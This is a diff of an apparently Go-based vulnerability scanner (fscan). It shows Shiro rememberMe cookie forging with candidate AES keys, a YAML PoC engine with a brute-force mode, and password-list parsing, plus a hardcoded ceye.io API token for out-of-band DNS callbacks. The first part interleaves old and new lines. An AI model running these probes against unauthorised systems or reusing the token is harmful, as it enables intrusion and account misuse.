//fmt.Println("[-]DoRequest error: ",err) return nil, fmt.Errorf("请求执行失败: %w", err)
return nil, err
} }
defer oResp.Body.Close() defer oResp.Body.Close()
// 解析响应
resp, err := ParseResponse(oResp) resp, err := ParseResponse(oResp)
if err != nil { if err != nil {
common.LogError("[-] ParseResponse error: " + err.Error()) Common.LogError("响应解析失败: " + err.Error())
//return nil, err
} }
return resp, err return resp, err
} }
// ParseUrl 解析 URL 并转换为自定义 URL 类型
func ParseUrl(u *url.URL) *UrlType { func ParseUrl(u *url.URL) *UrlType {
nu := &UrlType{} return &UrlType{
nu.Scheme = u.Scheme Scheme: u.Scheme,
nu.Domain = u.Hostname() Domain: u.Hostname(),
nu.Host = u.Host Host: u.Host,
nu.Port = u.Port() Port: u.Port(),
nu.Path = u.EscapedPath() Path: u.EscapedPath(),
nu.Query = u.RawQuery Query: u.RawQuery,
nu.Fragment = u.Fragment Fragment: u.Fragment,
return nu }
} }
// ParseRequest 将标准 HTTP 请求转换为自定义请求对象
func ParseRequest(oReq *http.Request) (*Request, error) { func ParseRequest(oReq *http.Request) (*Request, error) {
req := &Request{} req := &Request{
req.Method = oReq.Method Method: oReq.Method,
req.Url = ParseUrl(oReq.URL) Url: ParseUrl(oReq.URL),
header := make(map[string]string) Headers: make(map[string]string),
for k := range oReq.Header { ContentType: oReq.Header.Get("Content-Type"),
header[k] = oReq.Header.Get(k)
} }
req.Headers = header
req.ContentType = oReq.Header.Get("Content-Type") // 复制请求头
if oReq.Body == nil || oReq.Body == http.NoBody { for k := range oReq.Header {
} else { req.Headers[k] = oReq.Header.Get(k)
}
// 处理请求体
if oReq.Body != nil && oReq.Body != http.NoBody {
data, err := io.ReadAll(oReq.Body) data, err := io.ReadAll(oReq.Body)
if err != nil { if err != nil {
return nil, err return nil, fmt.Errorf("读取请求体失败: %w", err)
} }
req.Body = data req.Body = data
// 重新设置请求体,允许后续重复读取
oReq.Body = io.NopCloser(bytes.NewBuffer(data)) oReq.Body = io.NopCloser(bytes.NewBuffer(data))
} }
return req, nil return req, nil
} }
// ParseResponse 将标准 HTTP 响应转换为自定义响应对象
func ParseResponse(oResp *http.Response) (*Response, error) { func ParseResponse(oResp *http.Response) (*Response, error) {
var resp Response resp := Response{
header := make(map[string]string) Status: int32(oResp.StatusCode),
resp.Status = int32(oResp.StatusCode) Url: ParseUrl(oResp.Request.URL),
resp.Url = ParseUrl(oResp.Request.URL) Headers: make(map[string]string),
for k := range oResp.Header { ContentType: oResp.Header.Get("Content-Type"),
header[k] = strings.Join(oResp.Header.Values(k), ";") }
// 复制响应头,合并多值头部为分号分隔的字符串
for k := range oResp.Header {
resp.Headers[k] = strings.Join(oResp.Header.Values(k), ";")
}
// 读取并解析响应体
body, err := getRespBody(oResp)
if err != nil {
return nil, fmt.Errorf("处理响应体失败: %w", err)
} }
resp.Headers = header
resp.ContentType = oResp.Header.Get("Content-Type")
body, _ := getRespBody(oResp)
resp.Body = body resp.Body = body
return &resp, nil return &resp, nil
} }
func getRespBody(oResp *http.Response) (body []byte, err error) { // getRespBody 读取 HTTP 响应体并处理可能的 gzip 压缩
body, err = io.ReadAll(oResp.Body) func getRespBody(oResp *http.Response) ([]byte, error) {
// 读取原始响应体
body, err := io.ReadAll(oResp.Body)
if err != nil && err != io.EOF && len(body) == 0 {
return nil, err
}
// 处理 gzip 压缩
if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") { if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
reader, err1 := gzip.NewReader(bytes.NewReader(body)) reader, err := gzip.NewReader(bytes.NewReader(body))
if err1 == nil { if err != nil {
body, err = io.ReadAll(reader) return body, nil // 如果解压失败,返回原始数据
} }
defer reader.Close()
decompressed, err := io.ReadAll(reader)
if err != nil && err != io.EOF && len(decompressed) == 0{
return nil, err
}
if len(decompressed) == 0 && len(body) != 0{
return body, nil
}
return decompressed, nil
} }
if err == io.EOF {
err = nil return body, nil
}
return
} }

102
WebScan/lib/Shiro.go Normal file
View File

@ -0,0 +1,102 @@
package lib
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io"
uuid "github.com/satori/go.uuid"
)
var (
// CheckContent 是经过base64编码的Shiro序列化对象
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
// Content 是解码后的原始内容
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
)
// Padding 对明文进行PKCS7填充
func Padding(plainText []byte, blockSize int) []byte {
// 计算需要填充的长度
paddingLength := blockSize - len(plainText)%blockSize
// 使用paddingLength个paddingLength值进行填充
paddingText := bytes.Repeat([]byte{byte(paddingLength)}, paddingLength)
return append(plainText, paddingText...)
}
// GetShrioCookie 获取加密后的Shiro Cookie值
func GetShrioCookie(key, mode string) string {
if mode == "gcm" {
return AES_GCM_Encrypt(key)
}
return AES_CBC_Encrypt(key)
}
// AES_CBC_Encrypt 使用AES-CBC模式加密
func AES_CBC_Encrypt(shirokey string) string {
// 解码密钥
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
// 创建AES加密器
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
// PKCS7填充
paddedContent := Padding(Content, block.BlockSize())
// 生成随机IV
iv := uuid.NewV4().Bytes()
// 创建CBC加密器
blockMode := cipher.NewCBCEncrypter(block, iv)
// 加密数据
cipherText := make([]byte, len(paddedContent))
blockMode.CryptBlocks(cipherText, paddedContent)
// 拼接IV和密文并base64编码
return base64.StdEncoding.EncodeToString(append(iv, cipherText...))
}
// AES_GCM_Encrypt 使用AES-GCM模式加密(Shiro 1.4.2+)
func AES_GCM_Encrypt(shirokey string) string {
// 解码密钥
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
// 创建AES加密器
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
// 生成16字节随机数作为nonce
nonce := make([]byte, 16)
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return ""
}
// 创建GCM加密器
aesgcm, err := cipher.NewGCMWithNonceSize(block, 16)
if err != nil {
return ""
}
// 加密数据
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
// 拼接nonce和密文并base64编码
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
}

View File

@ -1,552 +0,0 @@
package lib
import (
"crypto/md5"
"fmt"
"github.com/google/cel-go/cel"
"github.com/shadow1ng/fscan/WebScan/info"
"github.com/shadow1ng/fscan/common"
"math/rand"
"net/http"
"net/url"
"regexp"
"strings"
"sync"
"time"
)
var (
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
ceyeDomain = "7wtusr.ceye.io"
)
type Task struct {
Req *http.Request
Poc *Poc
}
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
tasks := make(chan Task)
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
go func() {
for task := range tasks {
isVul, _, name := executePoc(task.Req, task.Poc)
if isVul {
result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name)
common.LogSuccess(result)
}
wg.Done()
}
}()
}
for _, poc := range pocs {
task := Task{
Req: req,
Poc: poc,
}
wg.Add(1)
tasks <- task
}
wg.Wait()
close(tasks)
}
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
c := NewEnvOption()
c.UpdateCompileOptions(p.Set)
if len(p.Sets) > 0 {
var setMap StrMap
for _, item := range p.Sets {
if len(item.Value) > 0 {
setMap = append(setMap, StrItem{item.Key, item.Value[0]})
} else {
setMap = append(setMap, StrItem{item.Key, ""})
}
}
c.UpdateCompileOptions(setMap)
}
env, err := NewEnv(&c)
if err != nil {
fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err)
return false, err, ""
}
req, err := ParseRequest(oReq)
if err != nil {
fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err)
return false, err, ""
}
variableMap := make(map[string]interface{})
defer func() { variableMap = nil }()
variableMap["request"] = req
for _, item := range p.Set {
k, expression := item.Key, item.Value
if expression == "newReverse()" {
if !common.DnsLog {
return false, nil, ""
}
variableMap[k] = newReverse()
continue
}
err, _ = evalset(env, variableMap, k, expression)
if err != nil {
fmt.Printf("[-] %s evalset error: %v\n", p.Name, err)
}
}
success := false
//爆破模式,比如tomcat弱口令
if len(p.Sets) > 0 {
success, err = clusterpoc(oReq, p, variableMap, req, env)
return success, nil, ""
}
DealWithRule := func(rule Rules) (bool, error) {
Headers := cloneMap(rule.Headers)
var (
flag, ok bool
)
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range Headers {
if !strings.Contains(v2, "{{"+k1+"}}") {
continue
}
Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
if err != nil {
//fmt.Println("[-] newRequest error: ",err)
return false, err
}
newRequest.Header = oReq.Header.Clone()
for k, v := range Headers {
newRequest.Header.Set(k, v)
}
Headers = nil
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
if len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
return false, err
}
//如果false不继续执行后续rule
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
flag, ok = out.Value().(bool)
if !ok {
flag = false
}
return flag, nil
}
DealWithRules := func(rules []Rules) bool {
successFlag := false
for _, rule := range rules {
flag, err := DealWithRule(rule)
if err != nil || !flag { //如果false不继续执行后续rule
successFlag = false // 如果其中一步为flag则直接break
break
}
successFlag = true
}
return successFlag
}
if len(p.Rules) > 0 {
success = DealWithRules(p.Rules)
} else {
for _, item := range p.Groups {
name, rules := item.Key, item.Value
success = DealWithRules(rules)
if success {
return success, nil, name
}
}
}
return success, nil, ""
}
func doSearch(re string, body string) map[string]string {
r, err := regexp.Compile(re)
if err != nil {
fmt.Println("[-] regexp.Compile error: ", err)
return nil
}
result := r.FindStringSubmatch(body)
names := r.SubexpNames()
if len(result) > 1 && len(names) > 1 {
paramsMap := make(map[string]string)
for i, name := range names {
if i > 0 && i <= len(result) {
if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
paramsMap[name] = optimizeCookies(result[i])
} else {
paramsMap[name] = result[i]
}
}
}
return paramsMap
}
return nil
}
func optimizeCookies(rawCookie string) (output string) {
// Parse the cookies
parsedCookie := strings.Split(rawCookie, "; ")
for _, c := range parsedCookie {
nameVal := strings.Split(c, "=")
if len(nameVal) >= 2 {
switch strings.ToLower(nameVal[0]) {
case "expires", "max-age", "path", "domain", "version", "comment", "secure", "samesite", "httponly":
continue
}
output += fmt.Sprintf("%s=%s; ", nameVal[0], strings.Join(nameVal[1:], "="))
}
}
return
}
func newReverse() *Reverse {
if !common.DnsLog {
return &Reverse{}
}
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
sub := RandomStr(randSource, letters, 8)
//if true {
// //默认不开启dns解析
// return &Reverse{}
//}
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
u, _ := url.Parse(urlStr)
return &Reverse{
Url: urlStr,
Domain: u.Hostname(),
Ip: u.Host,
IsDomainNameServer: false,
}
}
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
var strMap StrMap
var tmpnum int
for i, rule := range p.Rules {
if !isFuzz(rule, p.Sets) {
success, err = clustersend(oReq, variableMap, req, env, rule)
if err != nil {
return false, err
}
if success {
continue
} else {
return false, err
}
}
setsMap := Combo(p.Sets)
ruleHash := make(map[string]struct{})
look:
for j, item := range setsMap {
//shiro默认只跑10key
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
if item[1] == "cbc" {
continue
} else {
if tmpnum == 0 {
tmpnum = j
}
if j-tmpnum >= 10 {
break
}
}
}
rule1 := cloneRules(rule)
var flag1 bool
var tmpMap StrMap
var payloads = make(map[string]interface{})
var tmpexpression string
for i, one := range p.Sets {
key, expression := one.Key, item[i]
if key == "payload" {
tmpexpression = expression
}
_, output := evalset1(env, variableMap, key, expression)
payloads[key] = output
}
for _, one := range p.Sets {
flag := false
key := one.Key
value := fmt.Sprintf("%v", payloads[key])
for k2, v2 := range rule1.Headers {
if strings.Contains(v2, "{{"+key+"}}") {
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value)
flag = true
}
}
if strings.Contains(rule1.Path, "{{"+key+"}}") {
rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value)
flag = true
}
if strings.Contains(rule1.Body, "{{"+key+"}}") {
rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value)
flag = true
}
if flag {
flag1 = true
if key == "payload" {
var flag2 bool
for k, v := range variableMap {
if strings.Contains(tmpexpression, k) {
flag2 = true
tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)})
}
}
if flag2 {
continue
}
}
tmpMap = append(tmpMap, StrItem{key, value})
}
}
if !flag1 {
continue
}
has := md5.Sum([]byte(fmt.Sprintf("%v", rule1)))
md5str := fmt.Sprintf("%x", has)
if _, ok := ruleHash[md5str]; ok {
continue
}
ruleHash[md5str] = struct{}{}
success, err = clustersend(oReq, variableMap, req, env, rule1)
if err != nil {
return false, err
}
if success {
if rule.Continue {
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
} else {
common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap))
}
continue
}
strMap = append(strMap, tmpMap...)
if i == len(p.Rules)-1 {
common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
//防止后续继续打印poc成功信息
return false, nil
}
break look
}
}
if !success {
break
}
if rule.Continue {
//防止后续继续打印poc成功信息
return false, nil
}
}
return success, nil
}
func isFuzz(rule Rules, Sets ListMap) bool {
for _, one := range Sets {
key := one.Key
for _, v := range rule.Headers {
if strings.Contains(v, "{{"+key+"}}") {
return true
}
}
if strings.Contains(rule.Path, "{{"+key+"}}") {
return true
}
if strings.Contains(rule.Body, "{{"+key+"}}") {
return true
}
}
return false
}
func Combo(input ListMap) (output [][]string) {
if len(input) > 1 {
output = Combo(input[1:])
output = MakeData(output, input[0].Value)
} else {
for _, i := range input[0].Value {
output = append(output, []string{i})
}
}
return
}
func MakeData(base [][]string, nextData []string) (output [][]string) {
for i := range base {
for _, j := range nextData {
output = append(output, append([]string{j}, base[i]...))
}
}
return
}
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
for k1, v1 := range variableMap {
_, isMap := v1.(map[string]string)
if isMap {
continue
}
value := fmt.Sprintf("%v", v1)
for k2, v2 := range rule.Headers {
if strings.Contains(v2, "{{"+k1+"}}") {
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
}
}
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
}
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
} else {
req.Url.Path = rule.Path
}
// 某些poc没有区分path和query需要处理
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
//
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
if err != nil {
//fmt.Println("[-] newRequest error:",err)
return false, err
}
newRequest.Header = oReq.Header.Clone()
for k, v := range rule.Headers {
newRequest.Header.Set(k, v)
}
resp, err := DoRequest(newRequest, rule.FollowRedirects)
newRequest = nil
if err != nil {
return false, err
}
variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
if result != nil && len(result) > 0 { // 正则匹配成功
for k, v := range result {
variableMap[k] = v
}
//return false, nil
} else {
return false, nil
}
}
out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
if strings.Contains(err.Error(), "Syntax error") {
fmt.Println(rule.Expression, err)
}
return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
}
return true, err
}
func cloneRules(tags Rules) Rules {
cloneTags := Rules{}
cloneTags.Method = tags.Method
cloneTags.Path = tags.Path
cloneTags.Body = tags.Body
cloneTags.Search = tags.Search
cloneTags.FollowRedirects = tags.FollowRedirects
cloneTags.Expression = tags.Expression
cloneTags.Headers = cloneMap(tags.Headers)
return cloneTags
}
func cloneMap(tags map[string]string) map[string]string {
cloneTags := make(map[string]string)
for k, v := range tags {
cloneTags[k] = v
}
return cloneTags
}
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
switch value := out.Value().(type) {
case *UrlType:
variableMap[k] = UrlTypeToString(value)
case int64:
variableMap[k] = int(value)
default:
variableMap[k] = fmt.Sprintf("%v", out)
}
}
return err, fmt.Sprintf("%v", variableMap[k])
}
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
out, err := Evaluate(env, expression, variableMap)
if err != nil {
variableMap[k] = expression
} else {
variableMap[k] = fmt.Sprintf("%v", out)
}
return err, fmt.Sprintf("%v", variableMap[k])
}
func CheckInfoPoc(infostr string) string {
for _, poc := range info.PocDatas {
if strings.Contains(infostr, poc.Name) {
return poc.Alias
}
}
return ""
}
func GetHeader(header map[string]string) (output string) {
for name, values := range header {
line := fmt.Sprintf("%s: %s\n", name, values)
output = output + line
}
output = output + "\r\n"
return
}

View File

@ -1,260 +0,0 @@
package lib
import (
"context"
"crypto/tls"
"embed"
"errors"
"fmt"
"github.com/shadow1ng/fscan/common"
"golang.org/x/net/proxy"
"gopkg.in/yaml.v2"
"net"
"net/http"
"net/url"
"os"
"strings"
"time"
)
var (
Client *http.Client
ClientNoRedirect *http.Client
dialTimout = 5 * time.Second
keepAlive = 5 * time.Second
)
func Inithttp() {
//common.Proxy = "http://127.0.0.1:8080"
if common.PocNum == 0 {
common.PocNum = 20
}
if common.WebTimeout == 0 {
common.WebTimeout = 5
}
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
if err != nil {
panic(err)
}
}
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
dialer := &net.Dialer{
Timeout: dialTimout,
KeepAlive: keepAlive,
}
tr := &http.Transport{
DialContext: dialer.DialContext,
MaxConnsPerHost: 5,
MaxIdleConns: 0,
MaxIdleConnsPerHost: ThreadsNum * 2,
IdleConnTimeout: keepAlive,
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
TLSHandshakeTimeout: 5 * time.Second,
DisableKeepAlives: false,
}
if common.Socks5Proxy != "" {
dialSocksProxy, err := common.Socks5Dailer(dialer)
if err != nil {
return err
}
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
tr.DialContext = contextDialer.DialContext
} else {
return errors.New("Failed type assertion to DialContext")
}
} else if DownProxy != "" {
if DownProxy == "1" {
DownProxy = "http://127.0.0.1:8080"
} else if DownProxy == "2" {
DownProxy = "socks5://127.0.0.1:1080"
} else if !strings.Contains(DownProxy, "://") {
DownProxy = "http://127.0.0.1:" + DownProxy
}
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
return errors.New("no support this proxy")
}
u, err := url.Parse(DownProxy)
if err != nil {
return err
}
tr.Proxy = http.ProxyURL(u)
}
Client = &http.Client{
Transport: tr,
Timeout: Timeout,
}
ClientNoRedirect = &http.Client{
Transport: tr,
Timeout: Timeout,
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
}
return nil
}
type Poc struct {
Name string `yaml:"name"`
Set StrMap `yaml:"set"`
Sets ListMap `yaml:"sets"`
Rules []Rules `yaml:"rules"`
Groups RuleMap `yaml:"groups"`
Detail Detail `yaml:"detail"`
}
type MapSlice = yaml.MapSlice
type StrMap []StrItem
type ListMap []ListItem
type RuleMap []RuleItem
type StrItem struct {
Key, Value string
}
type ListItem struct {
Key string
Value []string
}
type RuleItem struct {
Key string
Value []Rules
}
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp {
key, value := one.Key.(string), one.Value.(string)
*r = append(*r, StrItem{key, value})
}
return nil
}
//func (r *RuleItem) UnmarshalYAML(unmarshal func(interface{}) error) error {
// var tmp yaml.MapSlice
// if err := unmarshal(&tmp); err != nil {
// return err
// }
// //for _,one := range tmp{
// // key,value := one.Key.(string),one.Value.(string)
// // *r = append(*r,StrItem{key,value})
// //}
// return nil
//}
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp1 yaml.MapSlice
if err := unmarshal(&tmp1); err != nil {
return err
}
var tmp = make(map[string][]Rules)
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp1 {
key := one.Key.(string)
value := tmp[key]
*r = append(*r, RuleItem{key, value})
}
return nil
}
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
var tmp yaml.MapSlice
if err := unmarshal(&tmp); err != nil {
return err
}
for _, one := range tmp {
key := one.Key.(string)
var value []string
for _, val := range one.Value.([]interface{}) {
v := fmt.Sprintf("%v", val)
value = append(value, v)
}
*r = append(*r, ListItem{key, value})
}
return nil
}
type Rules struct {
Method string `yaml:"method"`
Path string `yaml:"path"`
Headers map[string]string `yaml:"headers"`
Body string `yaml:"body"`
Search string `yaml:"search"`
FollowRedirects bool `yaml:"follow_redirects"`
Expression string `yaml:"expression"`
Continue bool `yaml:"continue"`
}
type Detail struct {
Author string `yaml:"author"`
Links []string `yaml:"links"`
Description string `yaml:"description"`
Version string `yaml:"version"`
}
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
var pocs []*Poc
for _, f := range SelectPoc(Pocs, pocname) {
if p, err := LoadPoc(f, Pocs); err == nil {
pocs = append(pocs, p)
} else {
fmt.Println("[-] load poc ", f, " error:", err)
}
}
return pocs
}
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
p := &Poc{}
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
if err != nil {
fmt.Printf("[-] load poc %s error1: %v\n", fileName, err)
return nil, err
}
err = yaml.Unmarshal(yamlFile, p)
if err != nil {
fmt.Printf("[-] load poc %s error2: %v\n", fileName, err)
return nil, err
}
return p, err
}
func SelectPoc(Pocs embed.FS, pocname string) []string {
entries, err := Pocs.ReadDir("pocs")
if err != nil {
fmt.Println(err)
}
var foundFiles []string
for _, entry := range entries {
if strings.Contains(entry.Name(), pocname) {
foundFiles = append(foundFiles, entry.Name())
}
}
return foundFiles
}
func LoadPocbyPath(fileName string) (*Poc, error) {
p := &Poc{}
data, err := os.ReadFile(fileName)
if err != nil {
fmt.Printf("[-] load poc %s error3: %v\n", fileName, err)
return nil, err
}
err = yaml.Unmarshal(data, p)
if err != nil {
fmt.Printf("[-] load poc %s error4: %v\n", fileName, err)
return nil, err
}
return p, err
}

View File

@ -1,73 +0,0 @@
package lib
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"io"
uuid "github.com/satori/go.uuid"
)
var (
CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA=="
Content, _ = base64.StdEncoding.DecodeString(CheckContent)
)
func Padding(plainText []byte, blockSize int) []byte {
//计算要填充的长度
n := (blockSize - len(plainText)%blockSize)
//对原来的明文填充n个n
temp := bytes.Repeat([]byte{byte(n)}, n)
plainText = append(plainText, temp...)
return plainText
}
func GetShrioCookie(key, mode string) string {
if mode == "gcm" {
return AES_GCM_Encrypt(key)
} else {
//cbc
return AES_CBC_Encrypt(key)
}
}
//AES CBC加密后的payload
func AES_CBC_Encrypt(shirokey string) string {
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
Content = Padding(Content, block.BlockSize())
iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致
blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式返回一个BlockMode接口对象
cipherText := make([]byte, len(Content))
blockMode.CryptBlocks(cipherText, Content) //加密数据
return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...))
}
//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式
func AES_GCM_Encrypt(shirokey string) string {
key, err := base64.StdEncoding.DecodeString(shirokey)
if err != nil {
return ""
}
block, err := aes.NewCipher(key)
if err != nil {
return ""
}
nonce := make([]byte, 16)
_, err = io.ReadFull(rand.Reader, nonce)
if err != nil {
return ""
}
aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16)
ciphertext := aesgcm.Seal(nil, nonce, Content, nil)
return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...))
}

View File

@ -11,4 +11,4 @@ rules:
detail: detail:
author: kzaopa(https://github.com/kzaopa) author: kzaopa(https://github.com/kzaopa)
links: links:
- http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html

View File

@ -1,294 +0,0 @@
package common
import (
"bufio"
"encoding/hex"
"flag"
"fmt"
"net/url"
"os"
"strconv"
"strings"
)
func Parse(Info *HostInfo) {
ParseUser()
ParsePass(Info)
ParseInput(Info)
ParseScantype(Info)
}
func ParseUser() {
if Username == "" && Userfile == "" {
return
}
var Usernames []string
if Username != "" {
Usernames = strings.Split(Username, ",")
}
if Userfile != "" {
users, err := Readfile(Userfile)
if err == nil {
for _, user := range users {
if user != "" {
Usernames = append(Usernames, user)
}
}
}
}
Usernames = RemoveDuplicate(Usernames)
for name := range Userdict {
Userdict[name] = Usernames
}
}
func ParsePass(Info *HostInfo) {
var PwdList []string
if Password != "" {
passs := strings.Split(Password, ",")
for _, pass := range passs {
if pass != "" {
PwdList = append(PwdList, pass)
}
}
Passwords = PwdList
}
if Passfile != "" {
passs, err := Readfile(Passfile)
if err == nil {
for _, pass := range passs {
if pass != "" {
PwdList = append(PwdList, pass)
}
}
Passwords = PwdList
}
}
if Hashfile != "" {
hashs, err := Readfile(Hashfile)
if err == nil {
for _, line := range hashs {
if line == "" {
continue
}
if len(line) == 32 {
Hashs = append(Hashs, line)
} else {
fmt.Println("[-] len(hash) != 32 " + line)
}
}
}
}
if URL != "" {
urls := strings.Split(URL, ",")
TmpUrls := make(map[string]struct{})
for _, url := range urls {
if _, ok := TmpUrls[url]; !ok {
TmpUrls[url] = struct{}{}
if url != "" {
Urls = append(Urls, url)
}
}
}
}
if UrlFile != "" {
urls, err := Readfile(UrlFile)
if err == nil {
TmpUrls := make(map[string]struct{})
for _, url := range urls {
if _, ok := TmpUrls[url]; !ok {
TmpUrls[url] = struct{}{}
if url != "" {
Urls = append(Urls, url)
}
}
}
}
}
if PortFile != "" {
ports, err := Readfile(PortFile)
if err == nil {
newport := ""
for _, port := range ports {
if port != "" {
newport += port + ","
}
}
Ports = newport
}
}
